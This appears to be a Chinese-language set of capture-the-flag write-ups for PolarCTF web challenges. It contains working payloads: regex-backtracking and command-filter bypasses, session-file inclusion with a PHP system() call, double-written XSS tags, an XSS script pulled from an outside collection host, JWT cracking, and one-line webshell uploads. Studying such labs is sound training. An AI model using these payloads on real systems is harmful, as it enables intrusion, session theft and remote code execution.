swp
打开提示true.swp file?
访问/.index.php.swp
出现页面

需要用POST提交一个xdmtql的 参数,并且需要绕过preg_match
使用回溯绕过,preg_match的检测次数有上限,利用脚本使其进行很多次检测,导致其检测达上限,失效
python脚本
import requests
url='http://9c364219-66fd-482f-b7e7-83f8f12bcc9e.www.polarctf.com:8090/'
data = {"xdmtql": "sys nb" + "a" * 1000000}
res = requests.post(url, data=data)
print(res.content)
获得flag

简单rce

定义了一个no函数,过滤了一堆命令执行命令和函数
要求sys存在,且yyds=666,然后eval执行经过no函数过滤的sys
使用sort命令和passthru函数,并用%09代替空格

获得一个flag文件,使用sort查询flag文件

蜜雪冰城吉警店

提示:点到第9个隐藏款奶茶的单子,就会给你flag
在页面上并没有第9个奶茶
查看前端代码

并没有9,把其中一个id改为9
在火狐上修改后发现点击后没有任何反应,换成edge,修改后点击,获得flag

召唤神龙
查看前端有没有类似改分数的,或者能输出flag的条件,发现啥也没有
关闭后点F12就打不开开发者工具了,后面在更多工具的web开发者工具中打开
后面在调试器的main.js中看到了 一段东西

可能在一段是什么加密,询问ai说是一种js加密方式,最后通过jsfuck解密,获得flag

seek flag

查看源码,发现有提示

访问robots.txt

获得第三部分flag:c0ad71dadd11}
抓包看看,能不能获得其他部分flag
发现cookie中有个id=0,发送到重放器,尝试把id改为1
把id修改为1,获得第一部分flag

第一部分:flag{7ac5b
继续试着把id修改为2,获得第二部分flag:3ca8737a70f029d

jwt
打开环境,是一个需要密码和账户的登录框,在注册里随便注册一个,登录进去,发现还是啥也没有,抓包,发现在cookie发现有session和jwt

在jwt.io对jw进行解码,但却发现缺少secret值

使用c-jwt-cracker获取密钥值
爆破出密钥值为SYSA,修改jwt,并且根据提示flag-is-admins-password,把username改为admin

修改抓包后的jwt,发送,获得flag

iphone
打开源码,发现提示

应该是修改UA,点击一开始的按钮,提示只能iphone和ipad能看
尝试把UA修改为iphone,果然获得flag

浮生日记

打开是一个可以上传内容的框,应该是XSS或者ssti
输入{{7*7}},并没有1回显49

在试试是不是xss,输入<script>alert(1)</scrpit>,发现出错了,发现过滤了script,

闭合前面的内容,并双写script试试
“><scrscriptipt>alert(1)</scrscriptipt>
出现弹窗,点击确认,直接获得了flag
$$

过滤了一大堆东西,没想到怎么绕过,查看wp,说是直接c=GLOBALS,获得flag

$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的
爆破

要满足pass的md5的第二位等于第15位,第15位等于第18位,第二位加第15位加第18位的和除第二位等于第32位,直接抓包爆破


找到长度异常的组,获得flag

login
查看源码,获得提示,应该是账号和密码

输入后显示登录成功
尝试20200102,回显f;继续试20200103,显示l,感觉应该继续往下就是flag
最后试出来flag为flag{dlcg}
签到
打开页面查询了一个提交内容的框,但提交的按钮却点不动,应该修改js就行
查看前端,果然有disabled

删掉disabled,随便传一个东西

提示上传ilovejljcxy就能获得flag
复制上去,提交后还是弹窗之前的,结果发现,他对长度还有限制,应该还是修改js
果然在js将长度限制为9,修改后上传内容

获得flag

rce1

使用;拼接命令,127.0.0.1;ls

发现一个fllllaaag.php文件,使用tac查询文件,并用%09代替空格
直接cat查看fllllaaag.php
XFF

根据提示,应该是利用xff伪造ip
直接抓包加上:X-Forwarded-For: 1.1.1.1或者使用hackbar加上这个,获得flag

GET-POST

按要求上传参数,直接就获得flag了

被黑掉的站
说站里的木马还是很多,使用dirsearch扫描,发现;有shell.php和/index.php.bak

访问shell.php,出现一个提交框

继续访问/index.php.bak,发现一个字典,应该有一个为那个登录框的密码,使用burp爆破,发现为nikel时获得flag
签到题

查看源码,什么都没有
抓包试试

发现cookie中有个didi=no
放到重放器,尝试把didi改为yes

发现其中有一段:Li9kYXRhL2luZGV4LnBocA,解码试试
base64解码出了./data/index.php

访问./data/index.php

应该需要文件包含,过滤了../,应该还需要进入上一级目录,可以使用双写绕过../,并使用伪协议读取

将PD9waHANCiAgICAkZmxhZyA9ICJmbGFnezkyZWI1ZmZlZTZhZTJmZWMzYWQ3MWM3Nzc1MzE1NzhmfSI7DQo/Pg==base64解码,获得flag

session文件包含
随便传入一个东西,进入了一个新页面,查看源码

发现可以用file参数读文件,存在文件包含漏洞
尝试使用filter伪协议读取文件,但连接重置了
但却在cookie处发现了phpsessionid,应该可以使用session文件包含session文件应该就为sess_0he69bukahmfeo3q8d9gl2rlr5

访问储存session文件的路径/tmp/sess_0he69bukahmfeo3q8d9gl2rlr5,利用name进行文件读取<?php system(‘ls’);?>

使用tac读取flaggggg文件 ,获得flag

Don’t touch me
查看源码,获得提示

访问./2.php

出现了一个无法点击的按钮,查看源码,

可以删掉disabled,使按钮可以直接点击,或者直接访问/3.php,点击后就是跳转至/3.php
查看源码

访问fla.php,获得flag

robots
提示:机器人.txt,访问robots.txt,

访问/fl0g.php,直接获得flag

php very nice

直接修改sys内容,构造poc

传入

发现有flag.php文件,查询该文件,获得flag

ezupload
上传一句话木马,提示:Sorry, we only allow uploading GIF images,抓包将mime type改为image/gif,然后放包,显示连接成功,使用蚁剑连接,获得flag
cookie欺骗

提示只用普通用户才能获得flag
抓包,发现cookie处有个user=user

发送到重放器,把user值改为admin,发送后获得flag

upload
查看源码发现有提示

/?action=show_code
发现源码

使用str_ireplace函数进行过滤,可以双写php进行绕过
抓包,改为双写php,放包
使用蚁剑连接,获得flag

干正则

要让a[0]的值等于www.polarctf.com,可以利用parse_str($id)函数,通过id来覆盖之前的a变量,再用通配符绕过正则匹配
playload:id=a[0]=www.polarctf.com&cmd=;ls

cat查询flag文件,查看源码获得flag


parse_str()变量覆盖
parse_str(string,array)
string:规定要解析的字符串。
array:规定存储变量的数组的名称,该参数指示变量将被存储到数组中。
函数把查询字符串解析到变量中。如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
cool

第一个检查a是否为数字,如果是数字则输出no,第二过滤了flag,php,sysytem,然后放在eval函数里执行,看他过滤了这些,flag应该在flag.php里,使用*通配符代替,使用passthru代替system,上传后获得flag

uploader

<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);//利用客户端的 IP 地址生成一个 MD5 哈希值,以此作为文件夹名称,确保每个 IP 地址都有自己独立的目录。
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
}//检查 $sandBox 目录是否存在,如果不存在则创建它,权限设置为 0755,允许文件夹所有者读、写、执行,其他用户可以读和执行。
if($_FILES){
move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo $sandBox;
}//如果有文件上传,它会将文件从临时位置移动到指定的 $sandBox 目录中,并显示文件名、文件类型和文件大小。$_FILES 是一个全局数组,用于接收上传的文件信息。
highlight_file(__FILE__);
利用python脚本上传一个一句话木马

显示成功后,利用蚁剑连接,路径为他返回的内容加文件名,url/281aa7ab3919fdc0f9cf542072fcf030/123.php

使用蚁剑连接

利用终端查找flag

覆盖

和干正则一样,甚至没有正则匹配过滤,用一样的playload
PHP反序列化初试

构造poc

传入pop链获得flag
机器人

访问robots.txt,直接获得了flag的一部分,flag{4749ea1ea481a5d

访问/27f5e15b6af3223f1176293cd015771d,但访问不了
尝试解密后面/后面的内容,但发现还是什么都没有
最后访问/27f5e15b6af3223f1176293cd015771d/flag.php获得最后一部分flag,56685442c8516b61c}

扫扫看

提示扫扫看,使用dirsearch扫描,发现有flag.php文件,访问后查看源码获得flag
debudao

出来是一个传东西的框,传什么显示什么
试一下传{{7*7}}结果不是49,不存在ssrf,传<script>alert(1)</script>,出现了弹窗,存在xss

传入恶意代码<sCRiPt sRC=//xs.pe/5gJ></sCrIpT>,使用xss平台监听,获得flag

审计

xxs的值md5后必须为0e后面加数字,且xxs必须为数字,不能用数组绕过
直接传xxs=0e215962017(md5后的值等于自身)
upload1
提示上传一个图片,应该不允许上传php文件,只能传php文件
上传一个jpg文件,抓包,把后缀改为php后放包,使用蚁剑连接

没找到flag文件,右键打开终端,在终端里面查找,获得flag

env出来是假flag,使用cat查询,获得flag

rapyiquan

过滤了参数中的_,还过滤了参数内容的一堆东西
参数中的_用.代替,用\来分割内容
playload:cm.d=l\s
发现有个flag.php文件,使用sort查询

bllbl_ser1

一道反序列化的题
构造poc

发现flag文件,使用cat查询,获得flag

1ncIud3

应该是用page参数读文件,试试flag。php和flag
在读flag时出现提示

flag可能为其他组合,fl0g等,还过滤了一些东西,应该还要考虑在哪个目录下
测试发现过滤了../,双写绕过
使用burp爆破


找到长度异常的一组,获得flag

投喂

post一个名为data的参数,序列化一个user对象,尝试序列化一个包含用户名和is_admin属性的User对象,使is_admin=true
构造一个pop链,对象为user,属性is_admin其值为true
data=O:4:”user”:1:{s:8:”is_admin”;s:4:”true”;}
post提交,获得flag

黑狗子的RCE

一个get提交的参数gouheizi1,其过滤了一堆东西,避免其进行命令执行
一个post提交的参数gouheizi2,其过滤了gouheizi,但如果其内容等于gouheizi,gouheizi1的内容就可以被system函数执行
str_replace用双写绕过,preg_match用\拼接

sort查询文件

button
打开出现了一个按钮,一触到就会跑,应该需要修改js,但直接F12,打不开开发者工具,在这个位置的更多工具打开web开发者工具


去掉mouseover

点击按钮,发现变成了这样

在script.js发现对点击次数的要求

在控制台将clickCount改为clickCount =999999999999999999999999999999999999999999999999999999999999999999,点击运行,在点击按钮,获得flag

井字棋
打开是一个井字棋游戏
查看js

当为declareWinner(“您赢了!”);时,会弹出flag
在控制台输入declareWinner(“您赢了!”);,运行,获得flag

简单的导航站

在注册界面随便注册一个东西,然后登录,跳转到了一个新的页面

一个md5强比较,使用数组绕过
出现了一堆用户名

但还差密码,看了网页源码,还是没有,最后在一开始的页面的源码里看到了Admin1234!,应该就是密码

使用burp爆破


最终发现用户为P0la2adm1n,长度异常

在管理员页面登录
登录后跳转到文件上传页面,上传一个一句话木马

使用蚁剑连接,应该放在uploads目录下

找到一个flag???文件,打开给了一堆flag,应该是在flag认证页面继续爆破

抓包,发到爆破模块


找到长度异常的一组,flag%7bT4PwCg1RrQNsO4EcrQmU%7d,就是真的flag

大佬好强,求带!!!